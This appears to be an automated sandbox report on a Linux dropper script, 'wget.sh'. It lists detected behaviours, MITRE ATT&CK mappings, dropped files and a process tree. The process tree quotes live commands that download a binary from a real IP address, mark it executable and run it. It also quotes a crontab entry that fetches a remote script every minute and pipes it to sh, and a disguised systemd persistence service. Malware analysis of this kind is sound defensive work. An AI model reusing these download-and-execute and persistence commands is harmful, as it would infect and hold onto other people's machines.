Overview

overview

7

Static

static

1

wget.sh

ubuntu-18.04-amd64

7

wget.sh

debian-9-armhf

7

wget.sh

debian-9-mips

wget.sh

debian-9-mipsel

Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    08/07/2026, 15:04

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General

  • Target
    wget.sh
  • Size 4KB
  • Sample260708-sfvsaagz4z
  • SHA256 90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    PID:1539
    • /usr/bin/wget
      wget http://91.92.40.118/kworkerd -O /tmp/.k
      2⤵
      • Writes file to tmp directory
      PID:1540
    • /bin/chmod
      chmod 777 /tmp/.k
      2⤵
      • File and Directory Permissions Modification
      PID:1549
    • /tmp/.k
      /tmp/.k
      2⤵
      • Deletes itself
      • Modifies Watchdog functionality
      • Enumerates active TCP sockets
      • Modifies systemd
      • Reads MAC address of network interface
      • Changes its process name
      • Checks CPU configuration
      • Reads system network configuration
      • Enumerates kernel/hardware configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:1550
      • /bin/sh
        sh -c "/bin/systemctl daemon-reload 2>/dev/null"
        3⤵
          PID:1555
          • /bin/systemctl
            /bin/systemctl daemon-reload
            4⤵
              PID:1556
          • /bin/sh
            sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
            3⤵
              PID:1577
              • /bin/systemctl
                /bin/systemctl enable --now redis-sentinel.service
                4⤵
                  PID:1578
              • /bin/sh
                sh -c "/usr/bin/crontab -l 2>/dev/null"
                3⤵
                  PID:1599
                  • /usr/bin/crontab
                    /usr/bin/crontab -l
                    4⤵
                      PID:1600
                  • /bin/sh
                    sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 1552 2>/dev/null && exit 0; (wget -qO- http://91.92.40.118/init.sh || curl -sL http://91.92.40.118/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                    3⤵
                      PID:1601
                      • /usr/bin/crontab
                        /usr/bin/crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:1602

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Persistence

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      XDG Autostart Entries

                      1
                      T1547.013

                      Create or Modify System Process

                      1
                      T1543

                      Systemd Service

                      1
                      T1543.002

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      XDG Autostart Entries

                      1
                      T1547.013

                      Create or Modify System Process

                      1
                      T1543

                      Systemd Service

                      1
                      T1543.002

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Defense Evasion

                      File and Directory Permissions Modification

                      1
                      T1222

                      Linux and Mac File and Directory Permissions Modification

                      1
                      T1222.002

                      Impair Defenses

                      1
                      T1562

                      Virtualization/Sandbox Evasion

                      1
                      T1497

                      System Checks

                      1
                      T1497.001

                      Credential Access

                      Discovery

                      System Information Discovery

                      1
                      T1082

                      System Network Configuration Discovery

                      2
                      T1016

                      Internet Connection Discovery

                      1
                      T1016.001

                      Wi-Fi Discovery

                      1
                      T1016.002

                      System Network Connections Discovery

                      2
                      T1049

                      Virtualization/Sandbox Evasion

                      1
                      T1497

                      System Checks

                      1
                      T1497.001

                      Lateral Movement

                      Collection

                      Command and Control

                      Exfiltration

                      Impact

                      Replay Monitor

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                      Downloads

                      redis-sentinel.service
                      • Path /etc/systemd/system/redis-sentinel.service
                      • Size 342B
                      • SHA256 233380053ca11cd37fcf70af2aebea67094b7065709aaa1c07e34f13a5686afa
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      .k
                      • Path /tmp/.k
                      • Size 271KB
                      • SHA256 05686c56837324d1bbb9b98c331bd689af81de4a27c52a4d84ace7e25302e111
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      .redis-server.pid
                      • Path /tmp/.redis-server.pid
                      • Size 4B
                      • SHA256 51e6811411165c04f691eb5a38cf11a7316fdd776478b4fd222fd0107973c381
                      • MD5 SHA1 SHA512
                      Submit Download

                      tmp.BkLObZ
                      • Path /var/spool/cron/crontabs/tmp.BkLObZ
                      • Size 341B
                      • SHA256 a356177d11393d45507d0c35c6b54109632b727d2c9bb5cc71a62afa1c30edb2
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download